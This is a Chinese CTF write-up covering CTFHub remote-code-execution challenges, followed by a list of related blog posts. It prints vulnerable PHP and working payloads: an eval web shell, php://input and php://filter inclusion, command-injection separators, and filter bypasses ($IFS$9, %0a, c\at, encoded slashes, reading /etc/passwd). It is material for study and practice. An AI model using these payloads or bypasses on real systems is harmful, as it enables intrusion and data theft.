CTFHub-RCE漏洞wp
引言
题目共有如下类型
什么是RCE漏洞
RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码
eval执行
分析源码:
<?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?>
执行命令查看当前目录
?cmd=system("ls");
查看根目录或者上级目录一个一个查找
?cmd=system("ls /");
?cmd=system("ls ../../../");
发现flag文件
cat /flag_8751即可
文件包含
文件包含
源码审计
<?php
error_reporting(0);
if (isset($_GET['file'])) { //检查是否存在file参数且不为空
if (!strpos($_GET["file"], "flag")) { //过滤flag字符串
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ? //提示有个shell.txt文件,内容为 <?php eval($_REQUEST['ctfhub']);?>
利用文件包含读取shell.txt
先了解一下$_REQUEST函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,$_REQUEST
变量包含了通过 GET、POST 和 COOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量
查看根目录
查找flag
php://input
源码分析
<?php
if (isset($_GET['file'])) { //检查是否存在file参数
if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查参数前6位是否为 php:// ,是则执行
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接
查看phpinfo.php文件,发现此处
抓包构造命令执行,因为有php://input,故会执行传入的php代码
查看flag
这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可
或者:
读取源代码
源码审计
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查file参数是否以 php:// 开头
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__); //代码高亮,显示源码
}
?>
i don't have shell, how to get flag?
flag in <code>/flag</code> //flag在根目录
php伪协议读取flag
?file=php://filter/read=/resource=/flag
远程包含
源码审计
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) { //过滤flag字符串
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
给了一个phpinfo()界面,根据题目提示,还是文件包含题,抓包利用php;//input读取
查看根目录
读取flag
命令注入
这里需要了解一下常见的命令分隔符
; : 无论前面是否执行,后面都执行
||(逻辑或):前命令失败执行后命令,如果前命令成功则不执行后命令
| :前者结果作为后者参数使用
&& :前命令成功执行后命令,如果失败则不执行后命令
\n:换行符,url编码%0a
%0a (换行)
%0d (回车)
无过滤
没有做任何过滤
先ping一下
查看该目录,使用 127.0.0.1; ls 也是可以的
查看26398804916519.php
127.0.0.1 | cat 26398804916519.php
发现flag
过滤cat
查看源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) { //过滤了cat字符串
$cmd = "ping -c 4 {$ip}"; //windows默认ping4次,Linux不设置次数会一直ping
exec($cmd, $res);
} else {
$res = $m;
}
}
查看当前目录
因为cat被过滤了,此系统是linux操作系统,所以可以使用cat命令的平替,如 nl tac c\at less more tail 等
nl查看,得到flag
或者使用转义符 \ 绕过 也可以得到flag,会将c\at 分为两个字符串,则绕过cat过滤
过滤空格
查看源码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) { //只过滤了空格
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
先查看当前目录,得到flag文件 flag_11971489425983.php
这里介绍几个绕过空格的方法
$IFS$9 %09 <> < {cat,flag}
可以绕过空格
127.0.0.1;cat$IFS$9flag_11971489425983.php
过滤目录分隔符
几种常见的 / 符号绕过方法
改变工作目录:cd xxx 避免使用 / 符号
环境变量截取: ${PATH:0:1} ${HOME:0:1}
编码绕过:8进制: $(printf "\57") 16进制: $'\x2f' $'\57'
调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd cat `echo /`etc`echo /`passwd
通配符替代(部分路径已知):/???/cat /???/passwd //匹配 /bin/cat
利用反斜杠:cat \/etc\/passwd
协议替代:file_get_contents('glob:///*');
提示:
源码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) { //过滤了 / 符号
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
查看当前目录
进入该目录并查看
执行以下命令读取flag文件
127.0.0.1;cd flag_is_here;cat flag_29914267619184.php
得到flag
过滤运算符
查看源码,可以利用 ;绕过
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) { //利用正则匹配过滤了 | 和 &
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
查看当前目录
执行以下命令
127.0.0.1;cat flag_4351260182213.php
得到flag
综合过滤练习
源码审计
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { //过滤了 | & ; 空格 / cat flag ctfhub
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
利用换行符%0a绕过查看当前目录
查看根目录,没有有用信息,flag应该存在flag_is_here目录下
执行以下命令
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als //flag被过滤,需要绕过
查看该flag
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php //绕过cat
CTFHub-RCE漏洞wp的更多相关文章
- ThinkPHP-5.0.23新的RCE漏洞测试和POC
TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...
- GitStack系统RCE漏洞学习
漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...
- Zimbra无需登录RCE漏洞利用
2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...
- WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞
该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...
- Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现
Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- Apache Shiro<=1.2.4反序列化RCE漏洞
介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了 ...
- U-Boot NFS RCE漏洞(CVE-2019-14192)
U-Boot NFS RCE漏洞(CVE-2019-14192) 原文:https://blog.semmle.com/uboot-rce-nfs-vulnerability/ 翻译:看雪翻译小组 - ...
- Joomla 3.0.0 - 3.4.6 RCE漏洞分析记录
0x00 前言 今天早上看到了国内几家安全媒体发了Joomla RCE漏洞的预警,漏洞利用的EXP也在Github公开了.我大致看了一眼描述,觉得是个挺有意思的漏洞,因此有了这篇分析的文章,其实这个 ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
随机推荐
- SQL SERVER日常运维巡检系列——结构设计
前言 做好日常巡检是数据库管理和维护的重要步骤,而且需要对每次巡检日期.结果进行登记,同时可能需要出一份巡检报告. 本系列旨在解决一些常见的困扰: 不知道巡检哪些东西不知道怎么样便捷体检机器太多体检麻 ...
- httpclient 连接池测试
为什么需要使用http连接池 1.降低延迟:如果不采用连接池,每次连接发起Http请求的时候都会重新建立TCP连接(经历3次握手),用完就会关闭连接(4次挥手),如果采用连接池则减少了这部分时间损耗, ...
- cryptohack RSA部分
1.Salty: 此题为rsa加密中e=1的情况,由于\(ed(mod phi)=1\),所以d自然是等于1的,不用分解n就解出了d from Crypto.Util.number import lo ...
- Python OpenCV按照像素点图片切割
图像分割是从图像处理到图像分析的关键步骤,在目标检测.特征提取.图像识别等领域具有广泛应用.OpenCV是一个强大的计算机视觉库,提供了多种图像分割方法.本文将详细介绍如何使用Python和OpenC ...
- 中电金信:零售经营“新赛道” ——基于手机银行APP专区调研的客群精细化运营分析报告
随着银行业竞争的不断深入及新客户增量日渐"到顶",各家银行的客群竞争逐渐由"跑马圈地"进入"精耕细作"的新阶段,在客群精准化服务方面不断深 ...
- 如果XXL-JOB执行器在执行某任务中被重启了,重启后该任务能够被自动弥补调度吗
开心一刻 上午,走路不小心踩了钉子,去打了破伤风 下午,又特么踩到了钉子,我问医生 我:还需要打针吗 医生:你有那钱还是看看眼睛吧 基础回顾 项目基于 xxl-job 2.1.0 实现的分布式调度,所 ...
- jenkins集群 - HTMLreport测试报告
一.安装 HTML Publisher plugin 插件 插件下载地址 二.配置构建后步骤 三.编辑报告执行脚本 四.安装 Startup Trigger 和 Groovy 插件 1.安装原因: J ...
- 用EwoMail开源版搭建邮箱服务器
介绍: EwoMail是基于Linux的开源邮件服务器,支持一键搭建,集成了众多优秀稳定的组件,是一个快速部署.简单高效.安全稳定的邮件解决方案,支持电脑和手机的客户端,适合个人或邮箱功能需求少的企业 ...
- Qt编写地图综合应用5-自适应拉伸
一.前言 用过echart的人都会遇到一个问题,就算是代码中写了window.onresize = echart.resize,也只是横向自适应拉伸填充页面,垂直方向不会变化,除非指定高度才可以,这就 ...
- Mysql - com.mysql.jdbc.Driver与com.mysql.cj.jdbc.Driver的区别
spring常用dataSource配置如下: spring: datasource: username: root password: root url: jdbc:mysql://localhos ...